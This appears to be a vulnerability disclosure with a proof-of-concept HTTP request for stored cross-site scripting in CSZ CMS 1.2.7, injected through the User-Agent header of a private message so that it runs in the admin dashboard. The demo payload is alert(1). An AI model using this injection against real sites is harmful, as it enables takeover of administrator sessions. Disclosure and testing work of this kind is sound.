32 lines
No EOL
1.1 KiB
Text
32 lines
No EOL
1.1 KiB
Text
# Exploit Title: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
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# Exploit Author: Metin Yunus Kandemir
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# Vendor Homepage: https://www.cszcms.com/
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# Software Link: https://sourceforge.net/projects/cszcms/
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# Version: v1.2.7
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# Description:
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# Unauthorized user that has access private message can embed Javascript
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# code to admin panel.
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# Steps to reproduce:
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1- Log in to member panel.
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1- Change user-agent header as <script>alert(1)</script>
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2- Send the private message to admin user.
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3- When admin user logs in to Backend System Dashboard, an alert box pops
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up on screen.
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PoC Request:
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POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
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Host: localhost
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User-Agent: <script>alert(1)</script>
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 152
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Cookie: cszcookie
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Connection: close
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Upgrade-Insecure-Requests: 1
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csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=user-agent&message=user-agent&submit=Send |